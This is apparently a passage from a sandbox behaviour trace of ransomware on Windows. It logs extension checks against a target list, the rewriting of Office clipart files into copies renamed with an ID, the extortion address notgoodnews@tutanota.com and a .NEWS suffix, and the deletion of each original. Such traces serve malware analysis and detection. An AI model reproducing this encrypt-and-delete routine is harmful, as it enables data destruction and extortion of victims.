returned 4 [0087.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString=".xls") returned 4 [0087.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.386] lstrlenW (lpString=".xlsx") returned 5 [0087.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.386] lstrlenW (lpString=".ppt") returned 4 [0087.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".zip") returned 4 [0087.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.386] lstrlenW (lpString=".rar") returned 4 [0087.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString=".bz2") returned 4 [0087.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString=".7z") returned 3 [0087.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".dbf") returned 4 [0087.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".1cd") returned 4 [0087.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".jpg") returned 4 [0087.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.386] lstrlenW (lpString=".doc") returned 4 [0087.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.386] lstrlenW (lpString=".docx") returned 5 [0087.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.387] lstrlenW (lpString=".pdf") returned 4 [0087.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString=".xls") returned 4 [0087.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.387] lstrlenW (lpString=".xlsx") returned 5 [0087.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.387] lstrlenW (lpString=".ppt") returned 4 [0087.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.387] lstrlenW (lpString=".zip") returned 4 [0087.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.387] lstrlenW (lpString=".rar") returned 4 [0087.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString=".bz2") returned 4 [0087.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString=".7z") returned 3 [0087.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.387] lstrlenW (lpString=".dbf") returned 4 [0087.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.387] lstrlenW (lpString=".1cd") returned 4 [0087.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0087.387] lstrlenW (lpString=".jpg") returned 4 [0087.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.387] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.387] lstrlenW (lpString="HH00235_.WMF") returned 12 [0087.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.388] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1026) returned 1 [0087.388] CloseHandle (hObject=0x308) returned 1 [0087.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0087.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.388] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.388] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0087.389] GetLastError () returned 0x0 [0087.389] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x402, lpOverlapped=0x0) returned 1 [0087.390] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x410, lpOverlapped=0x0) returned 1 [0087.391] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.391] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.391] SetEndOfFile (hFile=0x384) returned 1 [0087.391] CloseHandle (hObject=0x384) returned 1 [0087.391] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.391] SetEndOfFile (hFile=0x308) returned 1 [0087.392] CloseHandle (hObject=0x308) returned 1 [0087.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0087.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.392] lstrlenW (lpString=".doc") returned 4 [0087.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString=".docx") returned 5 [0087.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.393] lstrlenW (lpString=".pdf") returned 4 [0087.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString=".xls") returned 4 [0087.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.393] lstrlenW (lpString=".xlsx") returned 5 [0087.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.393] lstrlenW (lpString=".ppt") returned 4 [0087.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString=".zip") returned 4 [0087.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.393] lstrlenW (lpString=".rar") returned 4 [0087.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString=".bz2") returned 4 [0087.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString=".7z") returned 3 [0087.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString=".dbf") returned 4 [0087.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString=".1cd") returned 4 [0087.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString=".jpg") returned 4 [0087.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.393] lstrlenW (lpString=".doc") returned 4 [0087.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.393] lstrlenW (lpString=".docx") returned 5 [0087.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.393] lstrlenW (lpString=".pdf") returned 4 [0087.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString=".xls") returned 4 [0087.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.394] lstrlenW (lpString=".xlsx") returned 5 [0087.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.394] lstrlenW (lpString=".ppt") returned 4 [0087.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.394] lstrlenW (lpString=".zip") returned 4 [0087.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.394] lstrlenW (lpString=".rar") returned 4 [0087.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString=".bz2") returned 4 [0087.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString=".7z") returned 3 [0087.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.394] lstrlenW (lpString=".dbf") returned 4 [0087.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.394] lstrlenW (lpString=".1cd") returned 4 [0087.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0087.394] lstrlenW (lpString=".jpg") returned 4 [0087.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.394] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.394] lstrlenW (lpString="HH00236_.WMF") returned 12 [0087.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.395] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3286) returned 1 [0087.395] CloseHandle (hObject=0x308) returned 1 [0087.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0087.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.395] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.395] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0087.395] GetLastError () returned 0x0 [0087.395] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0087.398] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xce0, lpOverlapped=0x0) returned 1 [0087.399] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.399] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.399] SetEndOfFile (hFile=0x384) returned 1 [0087.399] CloseHandle (hObject=0x384) returned 1 [0087.399] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.399] SetEndOfFile (hFile=0x308) returned 1 [0087.400] CloseHandle (hObject=0x308) returned 1 [0087.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0087.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.400] lstrlenW (lpString=".doc") returned 4 [0087.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.400] lstrlenW (lpString=".docx") returned 5 [0087.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.400] lstrlenW (lpString=".pdf") returned 4 [0087.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.400] lstrlenW (lpString=".xls") returned 4 [0087.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.400] lstrlenW (lpString=".xlsx") returned 5 [0087.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.400] lstrlenW (lpString=".ppt") returned 4 [0087.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".zip") returned 4 [0087.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.401] lstrlenW (lpString=".rar") returned 4 [0087.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString=".bz2") returned 4 [0087.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString=".7z") returned 3 [0087.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".dbf") returned 4 [0087.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".1cd") returned 4 [0087.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".jpg") returned 4 [0087.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".doc") returned 4 [0087.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString=".docx") returned 5 [0087.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.401] lstrlenW (lpString=".pdf") returned 4 [0087.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString=".xls") returned 4 [0087.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.401] lstrlenW (lpString=".xlsx") returned 5 [0087.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.401] lstrlenW (lpString=".ppt") returned 4 [0087.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.401] lstrlenW (lpString=".zip") returned 4 [0087.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.401] lstrlenW (lpString=".rar") returned 4 [0087.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.402] lstrlenW (lpString=".bz2") returned 4 [0087.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.402] lstrlenW (lpString=".7z") returned 3 [0087.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.402] lstrlenW (lpString=".dbf") returned 4 [0087.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.402] lstrlenW (lpString=".1cd") returned 4 [0087.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0087.402] lstrlenW (lpString=".jpg") returned 4 [0087.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.402] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.402] lstrlenW (lpString="HH00241_.WMF") returned 12 [0087.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.402] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1960) returned 1 [0087.402] CloseHandle (hObject=0x308) returned 1 [0087.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0087.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.403] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.403] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0087.403] GetLastError () returned 0x0 [0087.403] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0087.405] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0087.406] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.406] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.406] SetEndOfFile (hFile=0x384) returned 1 [0087.406] CloseHandle (hObject=0x384) returned 1 [0087.406] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.406] SetEndOfFile (hFile=0x308) returned 1 [0087.407] CloseHandle (hObject=0x308) returned 1 [0087.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0087.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.407] lstrlenW (lpString=".doc") returned 4 [0087.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.407] lstrlenW (lpString=".docx") returned 5 [0087.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.407] lstrlenW (lpString=".pdf") returned 4 [0087.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.407] lstrlenW (lpString=".xls") returned 4 [0087.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.407] lstrlenW (lpString=".xlsx") returned 5 [0087.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.408] lstrlenW (lpString=".ppt") returned 4 [0087.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.408] lstrlenW 